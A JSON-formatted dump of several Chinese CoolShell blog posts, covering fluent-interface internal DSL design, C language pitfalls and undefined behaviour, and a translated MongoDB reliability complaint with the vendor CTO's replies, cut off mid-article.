**我的团队成员水平太差，不会思考**。首先，先恭喜你找到一堆码农，当然，这不怪你，这是中国教育和大环境的问题，让人不会思考。对于这样的情况，我有两个建议，1）量力而行，使多大的碗就吃多少饭。2）鼓励思考，那怕那些想法很不靠谱，因为如果不开始，那么将永远不会思考。\n\n\n* **必需使用快速迭代**。很多公司都在强行上敏捷，他们希望产品越快release越好，而没有充分的时间思考和讨论。对于这种项目，我的建议是，1）找有丰富经验的人来做。2）迭代过程中力求架构和程序逻辑的简单，简单，再简单，力求代码间的高内聚，低耦合。不然，重构的时候你就好玩了。\n\n\n* **创业团队必需要快**。做得快就是做得好吗？很多时候，不是谁快谁就能笑到最后的。这样的例子太多了。第一个做出来的人并不一定就会占领市场，其很有可能会成为先驱。\n\n\n* **有钱的公司才会让团队用更多的时间去思考**。错了，你们没有见过有钱的公司，有钱的公司可以招一堆干不成活的人，可以把事搞乱了再新来过，甚至可以把做失败的项目换个名字再重新立项。这些真正的有钱的公司只求快，只求人多，不怕做错决定。像我们这些没钱的人，干什么事都是小心翼翼地，生怕做错决定。\n\n\n关于软件项目管理的文章，还可以参看《[软件公司的两种管理方式](https://coolshell.cn/articles/4951.html \"软件公司的两种管理方式\")》，最后，欢迎大家表达观点。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\nThe post [多些时间能少写些代码](https://coolshell.cn/articles/5686.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-10-31 API设计：用流畅接口构造内部DSL.md",
    "content": "---\nlayout: post\ntitle: API设计：用流畅接口构造内部DSL\ndate: 2011/10/31/ 0:28:47\nupdated: 2011/10/31/ 0:28:47\nstatus: publish\npublished: true\ntype: post\n---\n\n**感谢[@weidagang](http://weibo.com/n/weidagang) （Todd）向酷壳投递本文。**\n\n\n程序设计语言的抽象机制包含了两个最基本的方面：一是语言关注的基本元素/语义；另一个是从基本元素/语义到复合元素/语义的构造规则。在C、C++、Java、C#、Python等通用语言中，语言的基本元素/语义往往离问题域较远，通过API库的形式进行层层抽象是降低问题难度最常用的方法。比如，在C语言中最常见的方式是提供函数库来封装复杂逻辑，方便外部调用。\n\n\n不过普通的API设计方法存在一种天然的陷阱，那就是不管怎样封装，大过程虽然比小过程抽象层次更高，但本质上还是过程，受到过程语义的制约。也就是说，通过基本元素/语义构造更高级抽象元素/语义的时候，语言的构造规则很大程度上限制了抽象的维度，我们很难跳出这个维度去，甚至可能根本意识不到这个限制。而SQL、HTML、CSS、make等DSL（领域特定语言）的抽象维度是为特定领域量身定做的，从这些抽象角度看问题往往最为简单，所以DSL在解决其特定领域的问题时比通用程序设计语言更加方便。通常，SQL等非通用语言被称为外部DSL（External DSL）；在通用语言中，我们其实也可以在一定程度上突破语言构造规则的抽象维度限制，定义内部DSL（Internal DSL）。\n\n\n本文将介绍一种被称为流畅接口（Fluent Interface）的内部DSL设计方法。Wikipedia上[Fluent Interface](http://en.wikipedia.org/wiki/Fluent_interface \"Fluent Interface\")的定义是：\n\n\n\n> A fluent interface (as first coined by Eric Evans and Martin Fowler) is an implementation of an object oriented API that aims to provide for more readable code. A fluent interface is normally implemented by using method chaining to relay the instruction context of a subsequent call (but a fluent interface entails more than just method chaining).\n> \n> \n\n\n\n下面将分4个部分来逐步说明流畅接口在构造内部DSL中的典型应用。\n\n\n\n#### **1. 基本语义抽象**\n\n\n如果要输出0..4这5个数，我们一般会首先想到类似这样的代码：\n\n\n\n```\n\n//Java\nfor (int i = 0; i < 5; ++i) {\n    system.out.println(i);\n}\n```\n\n\n而Ruby虽然也支持类似的for循环，但最简单的是下面这样的实现：\n\n\n\n```\n\n//Ruby\n5.times {|i| puts i}\n```\n\nRuby中一切皆对象，5是Fixnum类的实例，times是Fixnum的一个方法，它接受一个block参数。相比for循环实现，Ruby的times方式更简洁，可读性更强，但熟悉OOP的朋友可能会有疑问，times是否应该作为整型类的方法呢？在OOP中，方法调用通常代表了向对象发送消息，改变或查询对象的状态，times方法显然不是对整型对象状态的查询和修改。如果你是Ruby的设计者，你会把times方法放入Fixnum类吗？如果答案是否定的，那么Ruby的这种设计本质上代表了什么呢？实际上，这里的times虽然只是一个普通的类方法，但它的目的却与普通意义上的类方法不同，它的语义实际上类似于for循环这样的语言基本语义，可以被视为一种自定义的基本语义。times的语义从一定程度上跳出了类方法的框框，向问题域迈进了一步！\n\n\n另一个例子来自Eric Evans的“用两个时间点构造一个时间段对象”，普通设计：\n\n\n\n```\n\n//Java\nTimePoint fiveOClock, sixOClock;\nTimeInterval meetingTime = new TimeInterval(fiveOClock, sixOClock);\n```\n\n另一种Evans的设计是这样：\n\n\n\n```\n\n//Java\nTimeInterval meetingTime = fiveOClock.until(sixOClock);\n```\n\n按传统OO设计，until方法本不应出现在TimePoint类中，这里TimePoint类的until方法同样代表了一种自定义的基本语义，使得表达时间域的问题更加自然。\n\n\n虽然上面的两个简单例子和普通设计相比看不出太大的优势，但它却为我们理解流畅接口打下了基础。重要的是应该体会到它们从一定程度上跳出了语言基本抽象机制的束缚，我们不应该再用类职责划分、迪米特法则（Law of Demeter）等OO设计原则来看待它们。\n\n\n#### **2. 管道抽象**\n\n\n在Shell中，我们可以通过管道将一系列的小命令组合在一起实现复杂的功能。管道中流动的是单一类型的文本流，计算过程就是从输入流到输出流的变换过程，每个命令是对文本流的一次变换作用，通过管道将作用叠加起来。在Shell中，很多时候我们只需要一句话就能完成log统计这样的中小规模问题。和其他抽象机制相比，管道的优美在于无嵌套。比如下面这段C程序，由于嵌套层次较深，不容易一下子理解清楚：\n\n\n\n```\n\n//C\nmin(max(min(max(a,b),c),d),e)\n\n```\n\n而用管道来表达同样的功能则清晰得多：\n\n\n\n```\n\n#!/bin/bash\nmax a b | min c | max d | min e\n\n```\n\n我们很容易理解这段程序表达的意思是：先求a, b的最大值；再把结果和c取最小值；再把结果和d求最大值；再把结果和e求最小值。\n\n\njQuery的链式调用设计也具有管道的风格，方法链上流动的是同一类型的jQuery对象，每一步方法调用是对对象的一次作用，整个方法链将各个方法的作用叠加起来。\n\n\n\n```\n\n//Javascript\n$('li').filter(':event').css('background-color', 'red');\n\n```\n\n#### 3. 层次结构抽象\n\n\n除了管道这种“线性”结构外，流畅接口还可用于构造层次结构抽象。比如，用Javascript动态创建创建下面的HTML片段：\n\n\n\n```\n\n<div id=\"’product_123’\" class=\"’product’\">\n<img src=\"’preview_123.jpg’\" alt=\"\" />\n<ul>\n\t<li>Name: iPad2 32G</li>\n\t<li>Price: 3600</li>\n</ul>\n</div>\n\n\n```\n\n若采用Javascript的DOM API：\n\n\n\n```\n\n//Javascript\nvar div = document.createElement('div');\ndiv.setAttribute(‘id’, ‘product_123’);\ndiv.setAttribute(‘class’, ‘product’);\n\nvar img = document.createElement('img');\nimg.setAttribute(‘src’, ‘preview_123.jpg’);\ndiv.appendChild(img);\n\nvar ul = document.createElement('ul');\nvar li1 = document.createElement('li');\nvar txt1 = document.createTextNode(\"Name: iPad2 32G\");\nli1.appendChild(txt1);\n…\ndiv.appendChild(ul);\n```\n\n而下面流畅接口API则要有表现力得多：\n\n\n\n```\n\n//Javascript\nvar obj =\n$.div({id:’product_123’, class:’product’})\n    .img({src:’preview_123.jpg’})\n    .ul()\n        .li().text(‘Name: iPad2 32G’)._li()\n        .li().text(‘Price: 3600’)._li()\n    ._ul()\n ._div();\n```\n\n和Javascript的标准DOM API相比，上面的API设计不再局限于孤立地看待某一个方法，而是考虑了它们在解决问题时的组合使用，所以代码的表现形式特别贴近问题的本质。这样的代码是自解释的（self-explanatory）在可读性方面要明显胜于DOM API，这相当于定义了一种类似于HTML的内部DSL，它拥有自己的语义和语法。需要特别注意的是，上面的层次结构抽象和管道抽象有着本质的不同，管道抽象的方法链上通常是同一对象的连续传递，而层次抽象中方法链上的对象却在随着层次的变化而变化。此为，我们可以把业务规则也表达在流畅接口中，比如上面的例子中，body()不能包含在div()返回的对象中，div().body()将抛出”body方法不存在”异常。\n#### **4. 异步抽象**\n\n\n流畅接口不仅可以构造复杂的层次抽象，还可以用于构造异步抽象。在基于回调机制的异步模式中，多个异步调用的同步和嵌套问题是使用异步的难点所在。有时一个稍复杂的调用和同步关系会导致代码充满了复杂的同步检查和层层回调，难以理解和维护。这个问题从本质上讲和上面HTML的例子一样，是由于多数通用语言并未把异步作为基本元素/语义，许多异步实现模式是向语言的妥协。针对这个问题，我用Javascript编写了一个基于流畅接口的异步DSL，示例代码如下：\n[javascript]  \n\n//Javascript  \n\n$.begin()  \n\n .async(newTask(‘task1’), ‘task1’)  \n\n .async(newTask(‘task2’), ‘task2’)  \n\n .async(newTask(‘task3’), ‘task3’)  \n\n.when()  \n\n .each\\_done(function(name, result) {  \n\n console.log(name + ‘: ‘ + result);})  \n\n .all\\_done(function(){ console.log(‘good, all completed’); })  \n\n .timeout(function(){  \n\n console.log(‘timeout!!’);  \n\n $.begin()  \n\n .async(newTask(‘task4’), ‘task4’)  \n\n .when()  \n\n .each\\_done(function(name, result) {  \n\n console.log(name + ‘: ‘ + result); })  \n\n .end();}  \n\n , 3000)  \n\n.end();[/javascript]\n\n上面的代码只是一句Javascript调用，但从另一个角度看它却像一段描述异步调用的DSL程序。它通过流畅接口定义了begin when end的语法结构，begin后面跟的是启动异步调用的代码；when后面是异步结果处理，可以选择each\\_done, all\\_done, timeout中的一种或多种。而begin when end结构本身是可以嵌套的，比如上面的代码在timeout处理分支中就包含了另一个begin when end结构。通过这个DSL，我们可以比基于回调的方式更好地表达异步调用的同步和嵌套关系。\n上面介绍了用流畅接口构造的4种典型抽象，出此之外还有很多其他的抽象和应用场合，比如：不少单元测试框架就通过流畅接口定义了单元测试的DSL。虽然上面的例子以Javascript等动态语言居多，但其实流畅接口所依赖的语法基础并不苛刻，即使在Java这样的静态语言中，同样可以轻松地使用。流畅接口不同于传统的API设计，理解和使用流畅接口关键是要突破语言抽象机制带来的定势思维，根据问题域选取适当的抽象维度，利用语言的基本语法构造领域特定的语义和语法。\n\n\n**参考**\n\n\n* [Wikipedia: Fluent Interface](http://en.wikipedia.org/wiki/Fluent_interface \"Wikipedia: Fluent Interface\")\n* [Martin Fowler: Fluent Interface](http://www.martinfowler.com/bliki/FluentInterface.html \"Martin Fowler: Fluent Interface\")\n* [jQuery is DSL](http://www.cnblogs.com/cathsfz/archive/2009/08/10/1543266.html \"jQuery is DSL\")\n* [An Approach to Internal Domain-Specific Languages in Java](http://www.infoq.com/articles/internal-dsls-java \"An Approach to Internal Domain-Specific Languages in Java\")\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\n* [![一些杂项资源](../wp-content/uploads/2010/12/ediff-small-150x150.png)](https://coolshell.cn/articles/3437.html)[一些杂项资源](https://coolshell.cn/articles/3437.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\nThe post [API设计：用流畅接口构造内部DSL](https://coolshell.cn/articles/5709.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-11-1 深入理解C语言.md",
    "content": "---\nlayout: post\ntitle: 深入理解C语言\ndate: 2011/11/1/ 0:26:38\nupdated: 2011/11/1/ 0:26:38\nstatus: publish\npublished: true\ntype: post\n---\n\nDennis Ritchie  过世了，他发明了C语言，一个影响深远并彻底改变世界的计算机语言。一门经历40多年的到今天还长盛不衰的语言，今天很多语言都受到C的影响，C++，Java，C#，Perl， PHP， Javascript， 等等。但是，你对C了解吗？相信你看过本站的《[C语言的谜题](https://coolshell.cn/articles/945.html \"C语言的谜题\")》还有《[谁说C语言很简单？](https://coolshell.cn/articles/873.html \"谁说C语言很简单？\")》，这里，我再写一篇关于深入理解C语言的文章，一方面是缅怀Dennis，另一方面是告诉大家应该如何学好一门语言。（顺便注明一下，下面的一些例子来源于[这个slides](http://www.slideshare.net/olvemaudal/deep-c)）\n\n\n首先，我们先来看下面这个经典的代码：\n\n\n\n```\nint main()\n{\n    int a = 42;\n    printf(“%d\\n”, a);\n}\n```\n\n从这段代码里你看到了什么问题？我们都知道，这段程序里少了一个#include <stdio.h> 还少了一个return 0;的返回语句。\n\n\n不过，让我们来深入的学习一下，\n\n\n* 这段代码在C++下无法编译，因为C++需要明确声明函数\n* 这段代码在C的编译器下会编译通过，因为在编译期，编译器会生成一个printf的函数定义，并生成.o文件，链接时，会找到标准的链接库，所以能编译通过。\n* 但是，你知道这段程序的退出码吗？在ANSI-C下，退出码是一些未定义的垃圾数。但在C89下，退出码是3，因为其取了printf的返回值。为什么printf函数返回3呢？因为其输出了’4′, ‘2’,’\\n’ 三个字符。而在C99下，其会返回0，也就是成功地运行了这段程序。你可以使用gcc的 -std=c89或是-std=c99来编译上面的程序看结果。\n* 另外，我们还要注意main()，在C标准下，如果一个函数不要参数，应该声明成main(void)，而main()其实相当于main(…)，也就是说其可以有任意多的参数。\n\n\n我们再来看一段代码：\n\n\n\n\n```\n#include <stdio.h>\nvoid f(void)\n{\n   static int a = 3;\n   static int b;\n   int c;\n   ++a; ++b; ++c;\n   printf(\"a=%d\\n\", a);\n   printf(\"b=%d\\n\", b);\n   printf(\"c=%d\\n\", c);\n}\nint main(void)\n{\n   f();\n   f();\n   f();\n}\n```\n\n这个程序会输出什么？\n\n\n* 我相信你对a的输出相当有把握，就分别是4，5，6，因为那个静态变量。\n* 对于c呢，你应该也比较肯定，那是一堆乱数。\n* 但是你可能不知道b的输出会是什么？答案是1，2，3。为什么和c不一样呢？因为，如果要初始化，每次调用函数里，编译器都要初始化函数栈空间，这太费性能了。但是c的编译器会初始化静态变量为0，因为这只是在启动程序时的动作。\n* 全局变量同样会被初始化。\n\n\n说到全局变量，你知道 静态全局变量和一般全局变量的差别吗？是的，对于static 的全局变量，其对链接器不可以见，也就是说，这个变量只能在当前文件中使用。\n\n\n我们再来看一个例子：\n\n\n\n```\n\n#include <stdio.h>\nvoid foo(void)\n{\n    int a;\n    printf(\"%d\\n\", a);\n}\nvoid bar(void)\n{\n    int a = 42;\n}\nint main(void)\n{\n    bar();\n    foo();\n}\n\n```\n\n你知道这段代码会输出什么吗？A) 一个随机值，B) 42。A 和 B都对（在“[在函数外存取局部变量的一个比喻](https://coolshell.cn/articles/4907.html \"在函数外存取局部变量的一个比喻\")”文中的最后给过这个例子），不过，你知道为什么吗？\n\n\n* 如果你使用一般的编译，会输出42，因为我们的编译器优化了函数的调用栈（重用了之前的栈），为的是更快，这没有什么副作用。反正你不初始化，他就是随机值，既然是随机值，什么都无所谓。\n* 但是，如果你的编译打开了代码优化的开关，-O，这意味着，foo()函数的代码会被优化成main()里的一个inline函数，也就是说没有函数调用，就像宏定义一样。于是你会看到一个随机的垃圾数。\n\n\n下面，我们再来看一个示例：\n\n\n\n```\n\n#include <stdio.h>\nint b(void) { printf(“3”); return 3; }\nint c(void) { printf(“4”); return 4; }\nint main(void)\n{\n   int a = b() + c();\n   printf(“%d\\n”, a);\n}\n```\n\n这段程序会输出什么？，你会说是，3，4，7。但是我想告诉你，这也有可能输出，4，3，7。为什么呢？ 这是因为，在C/C++中，表达的评估次序是没有标准定义的。编译器可以正着来，也可以反着来，所以，不同的编译器会有不同的输出。你知道这个特性以后，你就知道这样的程序是没有可移植性的。\n\n\n我们再来看看下面的这堆代码，他们分别输出什么呢？\n\n\n`int a=41; a++; printf(\"%d\\n\", a);`  \n\n`int a=41; a++ & printf(\"%d\\n\", a);`  \n\n`int a=41; a++ && printf(\"%d\\n\", a);`  \n\n`int a=41; if (a++ < 42) printf(\"%d\\n\", a);`  \n\n`int a=41; a = a++; printf(\"%d\\n\", a);`\n\n\n只有示例一，示例三，示例四输出42，而示例二和五的行为则是未定义的。关于这种未定义的东西是因为Sequence Points的影响（Sequence Points是一种规则，也就是程序执行的序列点，在两点之间的表达式只能对变量有一次修改），因为这会让编译器不知道在一个表达式顺列上如何存取变量的值。比如a = a++，a + a++，不过，在C中，这样的情况很少。\n\n\n下面，再看一段代码：（假设int为4字节，char为1字节）\n\n\n\n```\nstruct X { int a; char b; int c; };\nprintf(\"%d,\", sizeof(struct X));\nstruct Y { int a; char b; int c; char d};\nprintf(\"%d\\n\", sizeof(struct Y));\n```\n\n这个代码会输出什么?\n\n\na) 9，10  \n\nb)12, 12  \n\nc)12, 16\n\n\n答案是C，我想，你一定知道字节对齐，是向4的倍数对齐。\n\n\n* 但是，你知道为什么要字节对齐吗？还是因为性能。因为这些东西都在内存里，如果不对齐的话，我们的编译器就要向内存一个字节一个字节的取，这样一来，struct X，就需要取9次，太浪费性能了，而如果我一次取4个字节，那么我三次就搞定了。所以，这是为了性能的原因。\n* 但是，为什么struct Y不向12 对齐，却要向16对齐，因为char d; 被加在了最后，当编译器计算一个结构体的尺寸时，是边计算，边对齐的。也就是说，编译器先看到了int，很好，4字节，然后是 char，一个字节，而后面的int又不能填上还剩的3个字节，不爽，把char b对齐成4，于是计算到d时，就是13 个字节，于是就是16啦。但是如果换一下d和c的声明位置，就是12了。\n\n\n另外，再提一下，上述程序的printf中的%d并不好，因为，在64位下，sizeof的size\\_t是unsigned long，而32位下是 unsigned int，所以，C99引入了一个专门给size\\_t用的%zu。这点需要注意。在64位平台下，C/C++ 的编译需要注意很多事。你可以参看《[64位平台C/C++开发注意事项](https://coolshell.cn/articles/3512.html \"64位平台C/C++开发注意事项\")》。\n\n\n下面，我们再说说编译器的Warning，请看代码：\n\n\n\n```\n#include <stdio.h>\nint main(void)\n{\n    int a;\n    printf(\"%d\\n\", a);\n}\n```\n\n考虑下面两种编译代码的方式 ：\n\n\n* cc -Wall a.c\n* cc -Wall -O a.c\n\n\n前一种是不会编译出a未初化的警告信息的，而只有在-O的情况下，才会有未初始化的警告信息。这点就是为什么我们在makefile里的CFLAGS上总是需要-Wall和 -O。\n\n\n最后，我们再来看一个指针问题，你看下面的代码：\n\n\n\n```\n#include <stdio.h>\nint main(void)\n{\n    int a[5];\n    printf(\"%x\\n\", a);\n    printf(\"%x\\n\", a+1);\n    printf(\"%x\\n\", &a);\n    printf(\"%x\\n\", &a+1);\n}\n```\n\n假如我们的a的地址是：0Xbfe2e100, 而且是32位机，那么这个程序会输出什么？\n\n\n* 第一条printf语句应该没有问题，就是 bfe2e100\n* 第二条printf语句你可能会以为是bfe2e101。那就错了，a+1，编译器会编译成 a+ 1\\*sizeof(int)，int在32位下是4字节，所以是加4，也就是bfe2e104\n* 第三条printf语句可能是你最头疼的，我们怎么知道a的地址？我不知道吗？可不就是bfe2e100。那岂不成了a==&a啦？这怎么可能？自己存自己的？也许很多人会觉得指针和数组是一回事，那么你就错了。如果是 int \\*a，那么没有问题，因为a是指针，所以 &a 是指针的地址，a 和 &a不一样。但是这是数组啊a[]，所以&a其实是被编译成了 &a[0]。\n* 第四条printf语句就很自然了，就是bfe2e104。还是不对，因为是&a是数组，被看成int(\\*)[5]，所以sizeof(a)是5，也就是5\\*sizeof(int)，也就是bfe2e114。\n\n\n看过这么多，你可能会觉得C语言设计得真扯淡啊。不过我要告诉下面几点Dennis当初设计C语言的初衷：\n\n\n**1）相信程序员，不阻止程序员做他们想做的事。**\n\n\n**2）保持语言的简洁，以及概念上的简单。**\n\n\n**3）保证性能，就算牺牲移植性。**\n\n\n今天很多语言进化得很高级了，语法也越来越复杂和强大，但是C语言依然光芒四射，Dennis离世了，但是C语言的这些设计思路将永远不朽。\n\n\n**（请勿用于商业用途，转载时请注明作者和出处）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [深入理解C语言](https://coolshell.cn/articles/5761.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-11-10 千万别用MongoDB？真的吗？！.md",
    "content": "---\nlayout: post\ntitle: 千万别用MongoDB？真的吗？！\ndate: 2011/11/10/ 0:28:26\nupdated: 2011/11/10/ 0:28:26\nstatus: publish\npublished: true\ntype: post\n---\n\n某人发了一篇[Don’t use MongoDB](http://pastebin.com/raw.php?i=FD3xe6Jt)的血泪控诉，我把原文翻译如下，你可以看看。不过，我想我们还要去看看10gen [CTO的对此事的回复](http://news.ycombinator.com/item?id=3202081)，我们还要去在[Reddit上](http://www.reddit.com/r/programming/comments/m2b2b/dont_use_mongodb/)看看大家的说法，10gen [CTO的对此事的回复](http://news.ycombinator.com/item?id=3202081)后面也有一堆人在讨论这个事，还有一些程序员开始去读MongoDB的源码了，呵呵。看样子，说MongoDB的这些事并不是真的。\n\n\n10gen CTO 对此事的并不完全知道，其在回复，对些文中的每一条都做了回复。我把其回复的大体意思也放在原文中。不过，很有意思的是那些程序员的讨论。建议大家看看。\n\n\n### 正文\n\n\n因为各种政治原因，我这段时间没有说什么，但是现在我觉得因为要对社会负责，所以我要阻止大家不要把你们的业务放在MongoDB上。\n\n\n我的团队在一个有巨大用户量（一个有千万用户级的大型的公司）系统上使用的MongoDB，这个系统上让MongoDB有非常大的负载。早期，我们以为使用MongoDB会像10gen公司（MongoDB背后的公司）宣扬其在长期性能扩展有很多好处。但是，我们错了，而这个rant(长篇抱怨)就是为了让你不要相信那些所谓的成功经验而和我们一样犯了大错。如果有人能避免你上当，那么就得我写这么多。希望能警醒更多的人。\n\n\n注意，对于和10gen打交道的经历来说，他们给予了我们充分了热情和帮助，而且非常地好。但是这并不能成为我不告诉大家他们的产品失败的理由。\n\n\n\n#### 为什么这么说？\n\n\n数据库应该是正确的，或是仅可能的正确，因为数据库的错误会比其它使用更大。不仅仅是因为其对运行，性能，开销，和其价值影响巨大，还因为其连带的东西。匆忙去去移植TB级的数据相比起去修改代码中的一个逻辑错误来说是一个很巨大的工作。而在系统出问题后需要恢复TB级的数据，而你即被限制住了，你会有一种绝望的感觉。\n\n\n数据库是一个很复杂的系统，对于开发者来说就像一个黑盒一样。你需要对你所采用的数据库持绝对信任的态度，信任它会做正确的事，并尽会保持 一致笥和可用性。\n\n\n为什么MongoDB会流行？\n\n\n说句公道话，我们必需承认MongoDB是流行的，因为下面这些原因让其流行变得很合理：\n\n\n* 它非常容易地运行\n* 非常自由的Schema模型，而且可以很容易地和JSON类的数据结果映射起来，这对于程序员来于有很大的感染力（它完全符合程序员的逻辑思维），而且，程序员总是在项目可以做技术选型的人。\n* 成熟和分健壮，有记录，被真实的Use Case测试过，等等。对于那些喜欢选择成熟的技术的系统管理员和运营专业来说，这是一个很典型的选择。\n* 它单系统，低读并发的性能测试非常令人惊讶，而对于那些没有经验的评估者来说，这基本上来说是最重要的。\n\n\n现在，你可能正在开发一个随便玩一玩的网站，或是一个原型，或是那种只考虑开发速度不考虑别的的项目。老实说，对于这种项止，无所谓你用什么样的技术，只要搞定工作就行了。\n\n\n但是，如果你想要在MongoDB上搞一个大规模的系统，在上面运行真实的业务，那么，请不要用MongoDB。\n\n\n#### 为什么不？\n\n\n1）MongoDB为了赢得Benchmark测试而默认使用了不安全的写方式\n\n\n如果你不调用getLastError()，MongoDB就不会在确认数据库写操作完成就返回了，这会引入至少两种问题：\n\n\n* 在并发的环境下（连接池，等），在一个读操作“完成”后的连续地读操作会出错，MongoDB没有“栅栏条件锁”来知道什么时候完成写。\n* 未知个数的保存操作会被丢弃，因为保存操作的队列会在不同的地方。比如TCP缓存等。当你和数据库连接因为一些意味情况断开的时候，这些东西就被丢弃了。\n\n\n\n> \n> 10gen CTO 回复： 这和Benchmark没有任何关系，并说这个就是API的设计，其交给用户自己去选择，因为写的方式也有很多种。\n> \n\n\n2）MongoDB会以令人震惊的方式丢失数据\n\n\n下面是一个我们所经历过的它丢数据的列表：\n\n\n* 数据就是丢了，原因未知\n* 从损坏的数据库中恢复数据不成功，如事务日志。\n* 主从结点间的数据复制有缺口，导致从结点丢失主结点有的数据。是的，没有CheckSum，并且是的，你还会看到数据复制过去了。\n* 数据复制有时会停了，没有错误。你可以监控你的复制状态。\n\n\n\n> \n> 10gen CTO 逐一回复：1）从来没有一个数据丢失的BUG我们没有马上fix的事情。你能告诉我你报给我们的问题号吗？我们至少要明的是怎么一回事。如果是我们的问题，我们会马上fix的。2）从损坏了的数据库中不能完全恢复数据 ，这不挺正常的吗？但是如果有主从服务器互为备份应该会好一些。3）请告诉我你的问题号，我们从来没有接到过这样的错误报告。如果有，的确很严重。4）如果是说错误条件发生的时候没有通知，这有可能。另外，你可以监控数据复制的写操作，你可以使用w=2 为getLastError的参数。\n> \n\n\n3）MongoDB 需要全局写锁来请求写操作\n\n\n在写操作频繁的时候，这等同于杀了你。如果你运行一个blog，你也许不会关心这个事，因为你的读写操作不高。\n\n\n\n> 10gen CTO 回复：读写锁永远都是问题，但是2.0会好很多，2.2会解决得更好一些。\n> \n> \n\n\n4）MongoDB 的Sharding(分区) 在高负载下会停止工作\n\n\n在高负载下加一个shard是一场恶梦。Mongo要么会移动其数据块太快而导致DOS攻击产生很多流量占用带宽，要么就完全地拒绝更多的数据块。这会使一个高流量的网站承受着沉重地写操作。\n\n\n\n> 10gen CTO 回复：如果系统已经超过了其负载，那么移动数据当然会变得很难。我每一次的演讲都说得很清楚，不要在系统性能不行的时候才去加shard，这不行的。\n> \n> \n\n\n5）Mongo 不可靠\n\n\nMongod/配置服务器/mongos的架构确定合理且聪明。不幸的是，mongos完全就是垃圾。在有负载的情况下，它时不时就都会崩溃，有时几个小时，有时几天。进程重启监控有时也不管用，因为他会抛出一些断言会伪造出一个关键线程，其导致进程还在运行。Double Fail。\n\n\n最坏的是，唯一可行的方式是在一堆mongos实例前放一个HaProxy(一种负载均衡器)，运行一个作业其缓慢地轮着访问这些mongos实例，并定期kill掉他们，以变可以重新启动新的实例。我没有在开玩笑。\n\n\n\n> 10gen CTO 回复：不可能有这种事，你能不能告诉我更多的细节？\n> \n> \n\n\n6）MongoDB有一次甚至删除了整个数据库\n\n\nMongoDB 